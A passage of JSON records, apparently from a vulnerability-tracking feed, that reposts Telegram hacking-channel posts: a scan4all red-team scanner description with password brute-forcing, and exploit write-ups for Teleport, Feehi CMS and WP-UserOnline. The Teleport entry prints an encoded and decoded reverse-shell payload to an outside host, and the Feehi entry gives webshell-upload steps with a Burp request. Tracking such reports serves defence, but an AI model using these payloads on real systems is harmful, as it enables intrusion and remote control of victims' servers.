Can I not scan ports?noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -vFast 15000+ POC detection capabilities, PoCs include: nuclei POCNuclei Templates Top 10 statisticsTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1294daffainfo605cves1277info1352http3554panel591dhiyaneshdk503exposed-panels600high938file76lfi486pikpikcu321vulnerabilities493medium766network50xss439pdteam269technologies266critical436dns17wordpress401geeknik187exposures254low211exposure355dwisiswant0169misconfiguration207unknown7cve20213220x_akoko154token-spray206rce313princechaddha147workflows187wp-plugin297pussycat0x128default-logins101tech282gy741126file76281 directories, 3922 files.vscan POC vscan POC includes: xray 2.0 300+ POC, go POC, etc.scan4all POCSupport 7000+ web fingerprint scanning, identification:httpx fingerprint vscan fingerprintvscan fingerprint: including eHoleFinger, localFinger, etc.scan4all fingerprintSupport 146 protocols and 90000+ rule port scanningDepends on protocols and fingerprints supported by nmapFast HTTP sensitive file detection, can customize dictionaryLanding page detectionSupports multiple types of input - STDIN/HOST/IP/CIDR/URL/TXTSupports multiple output types - JSON/TXT/CSV/STDOUTHighly integratable: Configurable unified storage of results to Elasticsearch (https://www.kitploit.com/search/label/Elasticsearch) [strongly recommended]Smart SSL Analysis:In-depth analysis, automatically correlate the scanning of domain names in SSL information, such as *.xxx.com, and complete subdomain traversal according to the configuration, and the result will automatically add the target to the scanning listSupport to enable *.xx.com subdomain traversal function in smart SSL information, export EnableSubfinder=true, or adjust in the configuration fileAutomatically identify the case of multiple IPs associated with a domain (DNS), and automatically scan the associated multiple IPsSmart processing:When the IPs of multiple domain names in the list are the same, merge port scans to improve efficiencyIntelligently handle http abnormal pages, and fingerprint calculation and learningAutomated supply chain (https://www.kitploit.com/search/label/Supply%20Chain) identification, analysis\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-0148", "author": {"login": "automation"}}, {"uuid": "b5d801a0-4d43-457c-8a6b-3b299ee0ae83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.453621+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70875", "content": "What is scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent\u3002red team tools Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. In principle, do not repeat the wheel, unless there are bugs, problemsCross-platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.Support [21] password blasting, support custom dictionary, open by \"priorityNmap\": true RDPSSHrsh-spxMysqlMsSqlOraclePostgresqlRedisFTPMongodbSMB, also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), SmbGhost (CVE- 2020-0796)TelnetSnmpWap-wsp (Elasticsearch)RouterOsHTTP BasicAuthWeblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detectionTomcatJbossWinrm(wsman)POP3By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual interventionDetect whether there is nmap in the system, and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan Disadvantages of using nmap: Is the network bad, because the traffic network packet is too large, which may lead to incomplete results Using nmap additionally requires setting the root password to an environment variable\n  export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning (https://www.kitploit.com/search/label/Port%20Scanning) -stats=true to view the scanning progress Can I not scan ports?noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -vFast 15000+ POC detection capabilities, PoCs include: nuclei POCNuclei Templates Top 10 statisticsTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1294daffainfo605cves1277info1352http3554panel591dhiyaneshdk503exposed-panels600high938file76lfi486pikpikcu321vulnerabilities493medium766network50xss439pdteam269technologies266critical436dns17wordpress401geeknik187exposures254low211exposure355dwisiswant0169misconfiguration207unknown7cve20213220x_akoko154token-spray206rce313princechaddha147workflows187wp-plugin297pussycat0x128default-logins101tech282gy741126file76281 directories, 3922 files.vscan POC vscan POC includes: xray 2.0 300+ POC, go POC, etc.scan4all POCSupport 7000+ web fingerprint scanning, identification:httpx fingerprint vscan fingerprintvscan fingerprint: including eHoleFinger, localFinger, etc.scan4all fingerprintSupport 146 protocols and 90000+ rule port scanningDepends on protocols and fingerprints supported by nmapFast HTTP sensitive file detection, can customize dictionaryLanding page detectionSupports multiple types of input - STDIN/HOST/IP/CIDR/URL/TXTSupports multiple output types - JSON/TXT/CSV/STDOUTHighly integratable: Configurable unified storage of results to Elasticsearch (https://www.kitploit.com/search/label/Elasticsearch) [strongly recommended]Smart SSL Analysis:In-depth analysis, automatically correlate the scanning of domain names in SSL information, such as *.xxx.com, and complete subdomain traversal according to the configuration, and the result will automatically add the target to the scanning listSupport to enable *.xx.com subdomain traversal function in smart SSL information, export EnableSubfinder=true, or adjust in the configuration fileAutomatically identify the case of multiple IPs associated with a domain (DNS), and automatically scan the associated multiple IPsSmart processing:When the IPs of multiple domain names in the list are the same, merge port scans to improve efficiencyIntelligently handle http abnormal pages, and fingerprint calculation and learningAutomated supply chain (https://www.kitploit.com/search/label/Supply%20Chain) identification, analysis\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-0147", "author": {"login": "automation"}}, {"uuid": "44c5032c-f61d-46a8-b333-106fa0bd7e06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.398744+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70435", "content": "How I was able to find 150+ vulnerable applications to CVE-2022\u201326134 | A Zero-day RCE\nhttps://abhishekmorla.medium.com/how-i-was-able-to-find-150-vulnerable-applications-to-cve-2022-26134-a-zero-day-rce-e2b40cf766cf?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-26134", "author": {"login": "automation"}}, {"uuid": "b12c3b09-b42f-4376-81f6-78f3f24a5be3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.342457+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70437", "content": "From shodan dorks to filter out vulnerable hosts.Continue reading on Medium \u00bb (https://abhishekmorla.medium.com/how-i-was-able-to-find-150-vulnerable-applications-to-cve-2022-26134-a-zero-day-rce-e2b40cf766cf?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-26134", "author": {"login": "automation"}}, {"uuid": "cb3e205d-9637-4409-a24c-c4ea7d8e9925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.297833+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2023-49606", "author": {"login": "automation"}}, {"uuid": "fd32505b-8725-48e0-863e-5f2b9c21d740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.251768+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2024-54819", "author": {"login": "automation"}}, {"uuid": "59a0c2a4-d436-4a03-9a69-4cff40265639", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.218627+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2020-3452", "author": {"login": "automation"}}, {"uuid": "9980e54e-47ac-4f56-ba57-d336e2218967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.185646+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "7e49abf8-949f-4699-88b7-6e22f5c5b015", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.141073+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2023-34051", "author": {"login": "automation"}}, {"uuid": "333ab80b-a5f8-4391-a534-5df05f20488e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.096013+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2025-10725", "author": {"login": "automation"}}, {"uuid": "c710f51c-2a82-49a2-a62b-d6549d405612", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.051780+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2024-28000", "author": {"login": "automation"}}, {"uuid": "b1339407-25d1-46e9-aa93-e7de01c745e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.011522+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2020-28502", "author": {"login": "automation"}}, {"uuid": "fd9be21a-454d-453f-badb-3ab4998ffc5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.971887+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2019-12840", "author": {"login": "automation"}}, {"uuid": "4aa4f7d6-26f9-4d4c-9a7c-04bad3b87027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.939019+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2017-2671", "author": {"login": "automation"}}, {"uuid": "a791fb66-9e8e-45fd-b592-8c0f061a8042", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.914220+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2017-10271", "author": {"login": "automation"}}, {"uuid": "9090293c-904d-4646-a51a-af09d5d23bba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.881529+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2018-3811", "author": {"login": "automation"}}, {"uuid": "a12a9961-2b75-4404-a4bc-323bd00b4a27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.853379+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2021-21972", "author": {"login": "automation"}}, {"uuid": "90b6a26b-577d-4df3-a8d0-4b84f6d3baea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.817978+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2018-19410", "author": {"login": "automation"}}, {"uuid": "92a08fa8-47c3-41c6-9105-73b0a3d6406b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.782371+00:00", "type": "exploited", "source": "Telegram/2eYI3kydhy2vINEp3t56cRydhJ76_zk_ie_6JAnVgb8wzKU", "content": "", "vulnerability": "CVE-2022-41401", "author": {"login": "automation"}}, {"uuid": "8495d110-061c-4180-8eae-8e6e02208f06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.750954+00:00", "type": "published-proof-of-concept", "source": "Telegram/MpnrMSIgntybr8DMDrv-JNldNvEy9-Ya1G1W7KrlO-n7l94", "content": "", "vulnerability": "CVE-2026-58480", "author": {"login": "automation"}}, {"uuid": "32e72ea7-8aab-440c-9ef1-0241e3e37ce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.717864+00:00", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "vulnerability": "CVE-2026-11613", "author": {"login": "automation"}}, {"uuid": "159e07b5-f845-4a06-866c-1e5b8779ee60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.682423+00:00", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "vulnerability": "CVE-2026-19900", "author": {"login": "automation"}}, {"uuid": "c6d50e35-28e2-4bd5-b467-2d927a079eae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.649047+00:00", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "vulnerability": "CVE-2026-24480", "author": {"login": "automation"}}, {"uuid": "e56633b5-97bc-46ca-86b1-8621f24ad223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.620843+00:00", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "vulnerability": "CVE-2026-31431", "author": {"login": "automation"}}, {"uuid": "b7e38d0f-0049-4d83-a807-9b10050da731", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.588657+00:00", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "vulnerability": "CVE-2026-27938", "author": {"login": "automation"}}, {"uuid": "c1a0c2c3-2e0b-4440-a1c1-77c7004b3f90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.553596+00:00", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "vulnerability": "CVE-2026-85769", "author": {"login": "automation"}}, {"uuid": "bc1bde28-606f-494f-a169-04d1593fada4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.519257+00:00", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "vulnerability": "CVE-2026-19632", "author": {"login": "automation"}}, {"uuid": "db0bc0e9-4512-4952-a2cb-bf6ff82def9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.485687+00:00", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "vulnerability": "CVE-2026-83548", "author": {"login": "automation"}}, {"uuid": "0bb80770-110e-4c3e-b607-b06f40daeed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.452785+00:00", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "vulnerability": "CVE-2026-27701", "author": {"login": "automation"}}, {"uuid": "d73a9dc8-528c-4d39-92d4-86c16e04392f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.419471+00:00", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "vulnerability": "CVE-2026-77818", "author": {"login": "automation"}}, {"uuid": "7e2a85fc-83b1-4d43-82da-0e4463524154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.384705+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70323", "content": "Exploit Collector\nWordPress WP-UserOnline 2.88.0 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-OTiSJPLOhfQ/WWlvdFudhmI/AAAAAAAAIPg/Ji3s4Viv0XwGl76TD9pbO-WowW5kHfgewCLcBGAs/s1600/h78.png \nWordPress WP-UserOnline plugin version 2.88.0 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | 2d27257ac7ea666ea0f91e21e2cf2524b25f6b5630c8e00106161db5acf1445b\n\nDownload\n# Exploit Title: Wordpress Plugin WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS)\n# Google Dork: inurl:/wp-content/plugins/wp-useronline/\n# Date: 2022-08-24\n# Exploit Author: UnD3sc0n0c1d0\n# Vendor Homepage: https://github.com/lesterchan/wp-useronline\n# Software Link: https://downloads.wordpress.org/plugin/wp-useronline.2.88.0.zip\n# Category: Web Application\n# Version: 2.88.0\n# Tested on: Debian / WordPress 6.0.1\n# CVE : CVE-2022-2941\n# Reference: https://github.com/lesterchan/wp-useronline/commit/59c76b20e4e27489f93dee4ef1254d6204e08b3c\n\n# 1. Technical Description:\nThe WP-UserOnline plugin for WordPress has multiple Stored Cross-Site Scripting vulnerabilities in versions \nup to, and including 2.88.0. This is due to the fact that all fields in the \u201cNaming Conventions\u201d section do \nnot properly sanitize user input, nor escape it on output. This makes it possible for authenticated attackers, \nwith administrative privileges, to inject JavaScript code into the setting that will execute whenever a user \naccesses the injected page.\n\n# 2. Proof of Concept (PoC):\na. Install and activate version 2.88.0 of the plugin.\nb. Go to the plugin options panel (http://[TARGET]/wp-admin/options-general.php?page=useronline-settings).\nc. Identify the \"Naming Conventions\" section and type your payload in any of the existing fields. You can use \nthe following payload:\n\nd. Save the changes and now go to the Dashboard/WP-UserOnline option. As soon as you click here, your payload \nwill be executed.\n\nNote: This change will be permanent until you modify the edited fields.\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-2941", "author": {"login": "automation"}}, {"uuid": "44540e43-726e-4eab-bd96-37a1981ce954", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.352322+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70329", "content": "Exploit Collector\nTeleport 10.1.1 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png \nTeleport version 10.1.1 suffers from a remote code execution vulnerability.\n\nSHA-256 | c6d52b424ef6fecae4f1b523bd776835ab95ce19413a32ddacde1e3e5c128f9e\n\nDownload\n# Exploit Title: Teleport v10.1.1 - Remote Code Execution (RCE)\n# Date: 08/01/2022\n# Exploit Author: Brandon Roach & Brian Landrum\n# Vendor Homepage: https://goteleport.com\n# Software Link: https://github.com/gravitational/teleport\n# Version: < 10.1.2\n# Tested on: Linux\n# CVE: CVE-2022-36633\n\nProof of Concept (payload):\nhttps://teleport.site.com/scripts/%22%0a%2f%62%69%6e%2=\nf%62%61%73%68%20%2d%6c%20%3e%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%3=\n0%2e%31%2f%35%35%35%35%20%30%3c%26%31%20%32%3e%26%31%20%23/install-node.sh?=\nmethod=3Diam\nDecoded payload:\n\"\n/bin/bash -l > /dev/tcp/10.0.0.1/5555 0<&1&1 #\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-36633", "author": {"login": "automation"}}, {"uuid": "924b11e8-b355-4de1-85d1-484e36e6214e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.316159+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70331", "content": "Exploit Collector\nFeehi CMS 2.1.1 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nFeehi CMS version 2.1.1 suffers from an authenticated remote code execution vulnerability.\n\nSHA-256 | 983f5ef29aec5a308538a5a0f342863532963a034a2146d2f5d3fe9bcb54fe54\n\nDownload\n# Exploit Title: Feehi CMS 2.1.1 - Remote Code Execution (RCE) (Authenticated)\n# Date: 22-08-2022\n# Exploit Author: yuyudhn\n# Vendor Homepage: https://feehi.com/\n# Software Link: https://github.com/liufee/cms\n# Version: 2.1.1 (REQUIRED)\n# Tested on: Linux, Docker\n# CVE : CVE-2022-34140\n# Proof of Concept:\n1. Login using admin account at http://feehi-cms.local/admin\n2. Go to Ad Management menu. http://feehi-cms.local/admin/index.php?r=ad%2Findex\n3. Create new Ad. http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\n4. Upload php script with jpg/png extension, and using Burp suite or any tamper data browser add ons, change back the extension to php.\n5. Shell location: http://feehi-cms.local/uploads/setting/ad/[some_random_id].php\n\n# Burp request example:\n\nPOST /admin/index.php?r=ad%2Fcreate HTTP/1.1\nHost: feehi-cms.local\nContent-Length: 1530\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"103\", \".Not/A)Brand\";v=\"99\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Linux\"\nUpgrade-Insecure-Requests: 1\nOrigin: http://feehi-cms.local\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFBYJ8wfp9LBoF4xg\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: http://feehi-cms.local/admin/index.php?r=ad%2Fcreate\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: _csrf=807bee7110e873c728188300428b64dd155c422c1ebf36205f7ac2047eef0982a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22H9zz-zoIIPm7GEDiUGwm81TqyoAb5w0U%22%3B%7D; PHPSESSID=aa1dec72025b1524ae0156d527007e53; BACKEND_FEEHICMS=7f608f099358c22d4766811704a93375; _csrf_backend=3584dfe50d9fe91cfeb348e08be22c1621928f41425a41360b70c13e7c6bd2daa%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22_csrf_backend%22%3Bi%3A1%3Bs%3A32%3A%22jQjzwf12TCyw_BLdszCqpz4zjphcQrmP%22%3B%7D\n\nConnection: close\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"_csrf_backend\"\nFvaDqWC07mTGiOuZr-Qzyc2NlSACNuyPM4w7qXxTgmZ8p-nTF9LfVpLLku7wpn-tvvfWUXJM2PVZ_FPKLSHvNg==\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[name]\"\nrce\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[tips]\"\nrce at Ad management\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[input_type]\"\n1\n\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"\n------WebKitFormBoundaryFBYJ8wfp9LBoF4xg\n\nContent-Disposition: form-data; name=\"AdForm[ad]\"; filename=\"asuka.php\"\n\nContent-Type: image/png\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-34140", "author": {"login": "automation"}}, {"uuid": "dc7b750d-9e5a-4853-b0c1-8c6878c98d37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.268812+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/70283", "content": "KitPloit - PenTest Tools!\nSCodeScanner - Stands For Source Code Scanner Where The User Can Scans The Source Code For Finding The Critical Vulnerabilities\n\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB8XwFXLSZNCYm28Vi0TzfVTKdKOKVeDzD7IyCLkQNpElSpPzYL9MQj6JKtR4bIELZZuEfcz9UHAB3qsV7I1AD4_A7LaPWAIqX40BxcMTWJBWLa8D0du4mxfTAugKevmd_5to_4cxCvRTtu4xOPHlgs0yoszqzzyIez5ZAza4O0OEcLsOA2YiRnoOtKA/w640-h344/SCodeScanner.png \nSCodeScanner stands for Source Code scanner where the user can scans the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities inside the source code before code gets published in Prod.\nFeatures\n\n1. Supported PHP Language\n\n2. Supported YAML Language\n\n3. Pass results to bug tracking services like Jira also Slack (Sending files to group to multiple people at once).\n\n4. Gives results in JSON format, which can easily be used to any other program.\n5. Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.\n6. Rules that can scan advance patterns\n\nAchievements\n\nSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.\n\n* CVE-2022-1465\n* CVE-2022-1474\n* CVE-2022-1527\n* CVE-2022-1532\n* CVE-2022-1604\n\nHow to run?\n\n* Download the repository -\n\n* Run pip3 install -r requirements.txt\n\n* And run python3 scscanner.py --help\nFeedback/Imporvements\n\nI would love to hear your feedback on this tool. Open issues if you found any. And open PR request if you have something.\n\nContact\n\nUtkarsh Agrawal\nWebsite\nDownload Scodescanner\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1465", "author": {"login": "automation"}}, {"uuid": "d8e88713-0b5a-49f3-9ad3-f80e189d06d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:53.219938+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/70283", "content": "KitPloit - PenTest Tools!\nSCodeScanner - Stands For Source Code Scanner Where The User Can Scans The Source Code For Finding The Critical Vulnerabilities\n\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB8XwFXLSZNCYm28Vi0TzfVTKdKOKVeDzD7IyCLkQNpElSpPzYL9MQj6JKtR4bIELZZuEfcz9UHAB3qsV7I1AD4_A7LaPWAIqX40BxcMTWJBWLa8D0du4mxfTAugKevmd_5to_4cxCvRTtu4xOPHlgs0yoszqzzyIez5ZAza4O0OEcLsOA2YiRnoOtKA/w640-h344/SCodeScanner.png \nSCodeScanner stands for Source Code scanner where the user can scans the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities inside the source code before code gets published in Prod.\nFeatures\n\n1. Supported PHP Language\n\n2. Supported YAML Language\n\n3. Pass results to bug tracking services like Jira also Slack (Sending files to group to multiple people at once).\n\n4. Gives results in JSON format, which can easily be used to any other program.\n5. Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.\n6. Rules that can scan advance patterns\n\nAchievements\n\nSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.\n\n* CVE-2022-1465\n* CVE-2022-1474\n* CVE-2022-1527\n* CVE-2022-1532\n* CVE-2022-1604\n\nHow to run?\n\n* Download the repository -\n\n* Run pip3 install -r requirements.txt\n\n* And run python3 scscanner.py --help\nFeedback/Imporvements\n\nI would love to hear your feedback on this tool. Open issues if you found any. And open PR request if you have something.\n\nContact\n\nUtkarsh Agrawal\nWebsite\nDownload Scodescanner\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1532", "author": {"login": 